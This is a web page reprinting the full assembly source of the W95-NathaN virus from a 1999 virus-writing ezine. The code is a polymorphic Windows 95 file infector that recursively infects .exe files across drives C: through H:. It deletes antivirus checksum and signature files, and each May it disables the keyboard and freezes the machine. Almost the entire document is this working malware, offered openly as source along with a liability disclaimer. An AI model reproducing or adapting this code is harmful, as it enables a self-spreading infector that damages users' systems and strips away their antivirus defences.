Copy Link
Add to Bookmark
Report

The W95-NathaN virus

H0l0kausT Issue 1

eZine's profile picture
Published in 
H0l0kausT
 · 5 Mar 2023
The W95-NathaN virus
Pin it

;=============================== W95-NathaN Release 24/10/99 ======================================= 
;-0nly a LamE Wind0zE Infect0R:
;-Runtime, HD Scanning, P0lym0rphiC anD Retr0
;'Be PatienT, it's my first releasable virus... :) '
;=================================================================================================
; * ADVISORY *
;=================================================================================================
; WARNING: THIS C0DE ITS VERY DANGEROUS AND CAN DESTROY DATA OR SYSTEMS, I AM NOT RESPONSABLE
;OF THE BAD USE OF THIS SOURCE CODE BECAUSE THE DECISION TO COMPILE AND RELEASE IS YOUR OWN!!!
;=================================================================================================

kernel equ 0BFF70000H
marca equ 'HH' ;es el mejor
marca2 equ 'ß'
bad_number equ 0Eh


.386p ; only for fun, i can put Pentium but...
locals
jumps
.model flat

extrn ExitProcess:PROC

TRUE equ 1
FALSE equ 0 ;ANTI SOFT-ICE
DEBUG equ FALSE

.data
nopper db 0
.code

;=========================== Eternal MachinE Polymorphic Decryptor ============================
start:

call iniciador
intr db 90h
baso equ byte ptr $-1
intr2 db 90h
baso2 equ byte ptr $-1
mov ecx, cryptsize
cryptsize equ (viriisize-decrsize+3) / 4
lamerb db 90h
antilamer1 equ byte ptr $-1
lea ebp, [eax - 401000H]
lamerc db 90h
antilamer2 equ byte ptr $-1
lea edx, iniciador[ebp]
lamerd db 90h
antilamer3 equ byte ptr $-1
jumpeante: jmp eeprom

perrero:
intro db 90h
fakeint equ byte ptr $-1
intro2 db 90h
fakeint2 equ byte ptr $-1
garba dd 00000000h
garba2 dd 00000000h
garba3 dd 00000000h
garba4 dd 00000000h ; Garbage and only garbage
garba5 dd 00000000h ; Scan strings => FUUUCKKKKK !!!!
garba6 dd 00000000h
garba7 dd 00000000h
garba8 dd 00000000h
garba9 dd 00000000h
garba10 dd 00000000h

eeprom:


@@1:
type dw 1234h ; the Poly stuff (xor, add, sub..)
polystuff equ word ptr $-2
numberz dd 12345678h
xorkey equ dword ptr $-4
lamere db 90h
antilamer4 equ byte ptr $-1
sub edx, -4
lamerf db 90h
antilamer5 equ byte ptr $-1
loop @@1
lamerg db 90h
antilamer6 equ byte ptr $-1
jmp iniciador

align 4
decrsize equ $-start

;==================================== Todo Poly-Encryptado =====================================

iniciador:

jmp segimos_jmp

perronbaioso db "NathaN in TranZe-Grup0 H0l0kaust0"

segimos_jmp:
lea ebp, [eax - 401000H]
sub eax, 12345678h
subme equ dword ptr $-4
push eax

call AnalizeKernel
call espero ; A que esteamos esperant0 ???

IF DEBUG
call ExecExe
ENDIF

call first

mov dr0,eax ; AVP :(
mov eax,dr0 ; I :D

in al, 81h
cmp al, marca2
je exit_to_program

in al, 80h
cmp al, marca2
je infect
mov al, marca2
out 80h, al


call ExecExe

exit_to_program: ret

infect:

mov dr7,eax
mov eax,dr7 ; AVP sucks :)

mov al, -1
out 80h, al
lea edx, infdir[ebp]

IF DEBUG
call disable
ENDIF

call GetWinDir
lea edx, infdir[ebp]
call SetDir
call InfectDir

lea edx, drive_c[ebp]
call recinfect1st

lea edx, drive_d[ebp]
call recinfect1st

lea edx, drive_e[ebp]
call recinfect1st

lea edx, drive_f[ebp]
call recinfect1st

lea edx, drive_g[ebp]
call recinfect1st

lea edx, drive_h[ebp]
call recinfect1st

mov al, marca2
out 81h, al


exit_to_mustdie:

call espero
push -1
call _ExitProcess

;======================================= Procedures ============================================

espero: call getm
cmp al, 5 ; May ? (Dedicated to May Shiranuy of KoF)
jne vete

;===============================================================================================
; N0 destructive C0de! viruses must be friendly :)
;===============================================================================================

call disable ; fuck keyboard
jmp $


vete: ret

first: pop edi
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
mov byte ptr start[ebp], 0b9h
call infectfile

jmp exit_to_mustdie


ExecExe: call _GetCommandLineA
SW_NORMAL equ 1
push SW_NORMAL
push eax
call _WinExec
ret

getm:
mov al, 8 ; month
out 70h, al
in al, 71h
ret

recinfect1st: call SetDir

recinfect: call InfectDir

lea eax, win32_data_thang[ebp]
push eax
lea eax, dirfiles[ebp]
push eax
call _FindFirstFileA
mov edi, eax
inc eax
jz @@nomorefiles

@@processfile: lea eax, fileattr[ebp]
mov al, [eax]
cmp al, 10h ; directory ?
jne @@findnext

lea edx, fullname[ebp]
cmp byte ptr [edx], '.'
je @@findnext
call SetDir

push edi
lea edx, fullname[ebp]
call recinfect
pop edi

lea edx, prev_dir[ebp]
call SetDir

@@findnext: lea eax, win32_data_thang[ebp]
push eax
push edi
call _FindNextFileA

or eax, eax
jnz @@processfile

@@nomorefiles: ret


nokerneldll:
nofunction:
exit: jmp $

AnalizeKernel:
mov esi, kernel

@@1:
lea edi, kernel_sign[ebp]
mov ecx, kernel_sign_size
rep cmpsb
jne @@1

kernelfound: sub esi, kernel_sign_size
mov kernel_call[ebp], esi

mov esi, kernel
lodsw
cmp ax, 'ZM'
jne nokerneldll

add esi, 003Ch-2
lodsd

lea esi, [esi + eax - 3ch - 4]
lodsd
cmp eax, 'EP'
jne nokerneldll

add esi, 78h-4 ; esi=.edata

lodsd
add eax, kernel + 10h
xchg esi, eax

lodsd
lodsd
lodsd
mov funcnum[ebp], eax


lodsd
add eax, kernel
mov entrypointptr[ebp], eax

lodsd
add eax, kernel
mov nameptr[ebp], eax

lodsd
add eax, kernel
mov ordinalptr[ebp], eax

lea edx, names[ebp]
lea edi, fns[ebp]

@@1: push edi
call findfunction
pop edi

inc edi ; 68
stosd
add edi, 6 ; jmp kernel_call[ebp]

mov edx, esi

cmp byte ptr [esi], 0
jne @@1
ret


findfunction: mov ecx, 12345678h
funcnum equ dword ptr $-4
xor ebx, ebx

findnextfunc: mov esi, edx

mov edi, [ebx + 12345678h]
nameptr equ dword ptr $-4
add edi, kernel

@@2: cmpsb
jne @@1

cmp byte ptr [esi-1], 0
jne @@2

shr ebx, 1
movzx eax, word ptr [ebx + 12345678h]
ordinalptr equ dword ptr $-4
shl eax, 2
mov eax, [eax + 12345678h]
entrypointptr equ dword ptr $-4
add eax, kernel

ret

@@1: add ebx, 4
loop findnextfunc

jmp nofunction


InfectDir: call delete_shit
lea eax, win32_data_thang[ebp]
push eax
lea eax, exefiles[ebp]
push eax
call _FindFirstFileA

mov searchhandle[ebp], eax
inc eax
jz @@exit

@@next: call infectfile

lea eax, win32_data_thang[ebp]
push eax
push 12345678h
searchhandle equ dword ptr $-4
call _FindNextFileA

or eax, eax
jnz @@next

@@exit: ret

; input: ECX=file attr
; EDX=file
; output: EAX=handle

seekfile: push 0
push 0
push edx
push handle[ebp]
call _SetFilePointer
ret

closefile: push handle[ebp]
call _CloseHandle
ret

openfile: push 0
push ecx
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
push edx
call _CreateFileA
mov handle[ebp], eax
ret

; input: EDX=file
; output: EAX=handle

createfile: push 0
push ecx
push 1 ; CREATE
push 0
push 0
push 80000000h + 40000000h ; GENERIC_READ + GENERIC_WRITE
push edx
call _CreateFileA
mov handle[ebp], eax
ret



; input: ECX=bytes to read
; EDX=buf

readfile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _ReadFile
ret

; input: ECX=bytes to read
; EDX=buf

disable: in al,21h
or al,00000010b
out 21h,al
ret
leader:
lea esi, iniciador[ebp]
lea edi, buf[ebp]
mov ecx, cryptsize
ret


getter2:
call getm
cmp al,1
je xorz
cmp al,2
je addz
cmp al,3
je subz
cmp al,4
je xorz
cmp al,6
je addz
cmp al,7
je subz
cmp al,8
je xorz
cmp al,9
je addz
jmp xorz
ret

writefile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _WriteFile
ret


; output: eax=rnd
; zf=rnd(2)

random:

call random16bit
shl eax, 16

random16bit: push ebx
mov bx, 1234h
rndword equ word ptr $-2
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov rndword[ebp], bx
xchg bx, ax
pop ebx
test al, 1
ret

; input: EDX=offset directory (256 byte)

GetDir: cld
push edx
push 255
call _GetCurrentDirectoryA
ret


delete_shit:
pushad
lea edi,[ebp+BadPhilez]
mov ecx,bad_number
killem:
push ecx
push edi
call _DeleteFileA
pop ecx
xor al,al
scasb
jnz $-1
loop killem
popad
ret
getd:
mov al,07h
out 70h,al
in al,71h
ret

carrante:
lea edx, buf[ebp]
mov ecx, viriisize-decrsize
call writefile
call closefile
ret

writedcr:
lea edx, start[ebp]
mov ecx, decrsize
call writefile
ret

; input: EDX=directory

SetDir: push edx
call _SetCurrentDirectoryA
ret

GetWinDir: cld
push 255
push edx
call _GetWindowsDirectoryA
ret


b1:
mov baso [ebp], 0F5h
mov baso2 [ebp], 0F9h
mov antilamer1 [ebp], 0F5h
mov antilamer2 [ebp], 0F8h
mov antilamer3 [ebp], 0F8h
mov antilamer5 [ebp], 0F9h
mov antilamer6 [ebp], 0f5h
mov fakeint [ebp], 0CCh
mov fakeint2 [ebp], 0F1h
ret

b2: mov baso [ebp], 0F9h
mov baso2 [ebp], 0f5h
mov antilamer1 [ebp], 0f8h
mov antilamer3 [ebp], 0F9h
mov antilamer4 [ebp], 0F5h
mov antilamer5 [ebp], 0F8h
mov antilamer6 [ebp], 0F9h
mov fakeint [ebp], 0CDh
mov fakeint2 [ebp], 001h
ret

b3: mov baso [ebp], 0F8h
mov baso2 [ebp], 0F8h
mov antilamer1 [ebp], 0F9h
mov antilamer2 [ebp], 0f5h
mov antilamer3 [ebp], 0F5h
mov antilamer4 [ebp], 0F8h
mov antilamer6 [ebp], 0f8h
mov fakeint [ebp], 0CDh
mov fakeint2 [ebp], 020h
ret


garbaz: call getd
cmp al,1
je b1
cmp al,2
je b2
cmp al,3
je b3
cmp al,4
je b1
cmp al,6
je b2
cmp al,7
je b3
cmp al,8
je b1
cmp al,9
je b2
jmp b1

optix: call garbaz
call writedcr
jmp getter2

xoring:

mov polystuff [ebp], 3281h
jmp optix
adding:

mov polystuff [ebp], 2A81h
jmp optix
subbing:

mov polystuff [ebp], 0281h
jmp optix

xorear:
call leader
@@1: lodsd
xor eax, xorkey [ebp]
stosd
loop @@1
ret

addear:
call leader
@@1: lodsd
add eax, xorkey [ebp]
stosd
loop @@1
ret
subbear:
call leader
@@1: lodsd
sub eax, xorkey [ebp]
stosd
loop @@1
ret

xorz:
call xorear
call carrante
ret
addz:
call addear
call carrante
ret
subz:
call subbear
call carrante
ret

infectfile: call delete_shit
mov ecx, fileattr[ebp]
lea edx, fullname[ebp]
call openfile

inc eax
jz @@exit

; goto the dword that stores the location of the pe header

mov edx, 3Ch
call seekfile

; read in the location of the pe header

mov ecx, 4
lea edx, peheaderoffset[ebp]
call readfile

; goto the pe header
mov edx, peheaderoffset[ebp]
call seekfile

; read in enuff to calculate the full size of the pe header and object table

mov ecx, 256
lea edx, peheader[ebp]
call readfile

; make sure it is a pe header and is not already infected
cmp dword ptr peheader[ebp],'EP'
jne @@close
cmp word ptr peheader[ebp] + 4ch, marca
je @@close
cmp dword ptr peheader[ebp] + 52, 00400000h
jne @@close

; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile

; read in the whole pe header and object table
lea edx, peheader[ebp]
mov ecx, headersize[ebp]
cmp ecx, maxbufsize
ja @@close
call readfile

mov word ptr peheader[ebp] + 4ch, marca

; locate offset of object table
xor eax, eax
mov ax, NtHeaderSize[ebp]
add eax, 18h
mov ObjectTableoffset[ebp],eax

; calculate the offset of the last (null) object in the object table
mov esi, ObjectTableoffset[ebp]
lea eax, peheader[ebp]
add esi, eax
xor eax, eax
mov ax, numObj[ebp]
mov ecx, 40
xor edx, edx
mul ecx
add esi, eax

inc numObj[ebp] ; inc the number of objects

lea edi, newobject[ebp]
xchg edi,esi

; calculate the Relative Virtual Address (RVA) of the new object

mov eax, [edi-5*8+8]
add eax, [edi-5*8+12]
mov ecx, objalign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov RVA[ebp], eax

; calculate the physical size of the new object
mov ecx, filealign[ebp]
mov eax, viriisize
xor edx, edx
div ecx
inc eax
mul ecx
mov physicalsize[ebp],eax

; calculate the virtual size of the new object
mov ecx, objalign[ebp]
mov eax, virtsize
xor edx,edx
div ecx
inc eax
mul ecx
mov virtualsize[ebp],eax

; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx, filealign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov physicaloffset[ebp],eax

; update the image size (the size in memory) of the file
mov eax, virtsize
add eax, imagesize[ebp]
mov ecx, objalign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov imagesize[ebp],eax

; copy the new object into the object table
mov ecx, 40/4
rep movsd

; calculate the entrypoint RVA
mov eax, RVA[ebp]

mov ebx, entrypointRVA[ebp]
mov entrypointRVA[ebp], eax

sub eax, ebx

; Set the value needed to return to the host
mov subme[ebp], eax

; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile

; write the pe header and object table to the file
mov ecx, headersize[ebp]
lea edx, peheader[ebp]
call writefile

; move to the physical offset of the new object
mov edx, physicaloffset[ebp]
call seekfile

; write the virus code to the new object

call random
mov xorkey[ebp], eax
call random
mov garba[ebp], eax
call random
mov garba2[ebp], eax
call random
mov garba3[ebp], eax
call random
mov garba4[ebp], eax
call random
mov garba5[ebp], eax
call random
mov garba6[ebp], eax
call random
mov garba7[ebp], eax
call random
mov garba8[ebp], eax
call random
mov garba9[ebp], eax
call random
mov garba10[ebp], eax

call getm
cmp al,1
je xoring
cmp al,2
je adding
cmp al,3
je subbing
cmp al,4
je xoring
cmp al,6
je adding
cmp al,7
je subbing
cmp al,8
je xoring
cmp al,9
je adding
jmp xoring


@@close: call closefile

@@exit: ret

peroonn_final db "EternaL MachinE II" ;0ld machines never dead !!!

;==================================== S0mE DatA =================================================


bytesread dd ?
drive_f db 'F:\',0
drive_c db 'C:\',0
drive_h db 'H:\',0
drive_e db 'E:\',0
drive_d db 'D:\',0
drive_g db 'G:\',0
dirfiles db '*.',0
exefiles db '*.ExE',0


prev_dir db '..',0

win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 'FucK.Y0U',256-8 dup (0)
realname db 256 dup (0)


kernel_sign: pushfd ; <-- kernel
cld
push eax
push ebx
push edx
kernel_sign_size equ $-kernel_sign

kernel_call dd ?

names: db 'ExitProcess',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileA',0
db 'SetFilePointer',0
db 'ReadFile',0
db 'WriteFile',0
db 'CloseHandle',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetCommandLineA',0
db 'WinExec',0
db 'SetPriorityClass',0
db 'GetModuleHandleA',0
db 'DeleteFileA',0
db 0

fns:

def_fn macro name
_&name&: db 68h
fn_&name& dd ?
jmp kernel_call[ebp]
endm

def_fn ExitProcess
def_fn FindFirstFileA
def_fn FindNextFileA
def_fn CreateFileA
def_fn SetFilePointer
def_fn ReadFile
def_fn WriteFile
def_fn CloseHandle
def_fn GetCurrentDirectoryA
def_fn SetCurrentDirectoryA
def_fn GetWindowsDirectoryA
def_fn GetCommandLineA
def_fn WinExec
def_fn SetPriorityClass
def_fn GetModuleHandleA
def_fn DeleteFileA



BadPhilez label byte ; Files to delete in all dirs

ANTIVIR_DAT db "Anti-viR.DaT",0 ; \
CHKLIST_DAT db "ChklisT.DaT",0 ; \
CHKLIST_TAV db "ChklisT.TaV",0 ; > Shit and only ShiT
CHKLIST_MS db "ChklisT.MS",0 ; /
CHKLIST_CPS db "ChklisT.CpS",0 ; /
AVP_CRC db "AvP.CrC",0
IVB_NTZ db "IvB.NtZ",0 ;invircible ??? good joke! sound as a WC clearner or
SMARTCHK_MS db "SmartchK.MS",0 ;anything
SMARTCHK_CPS db "SmartchK.CpS",0
AVP db "AvP.SeT",0 ;Karsperzsky malware! will fool F-secure too
SCAN db "ScaN.DaT",0 ;fuuuckkkkkkkk!!!
NAV db "Dec2.DLL",0 ;NAV won't decrypt any virus!!
PANDA db "AP.ViR",0 ;my beloved Pandy
TB db "TbscaN.SiG",0 ;bye bye ThunderbyE

Namez label byte
handle dd ?

peheaderoffset dd ?
ObjectTableoffset dd ?

newobject: ;1234567 8
oname db '.NathaN',0 ;My section with the nicest name
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h

peheader:
signature dd 0
cputype dw 0
numObj dw 0
dd 3 dup (0)
NtHeaderSize dw 0
Flags dw 0
dd 4 dup (0)
entrypointRVA dd 0
dd 3 dup (0)
objalign dd 0
filealign dd 0
dd 4 dup (0)
imagesize dd 0
headersize dd 0
peheader_size equ $-peheader
final_test db "W95-NathaN Neur0-C0deD by HenKy /HH SpaiN"
bububbzz db "ß[ha[H04"
jmp $-6

align 4
viriisize equ $-start

infdir db 256 dup (?)

maxbufsize equ 4096

buf db maxbufsize dup (?)

virtsize equ $-start
end start

; PD: ONLY WAIT FOR THE ChacH04 viruz, THE NEW PROJECT OF the GRUP0 by HenKy !!!
; ThankS t0: Z0MBIE, Billy Belceb˙ and Lord Julus (this virus won't be possible without
; they support :)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT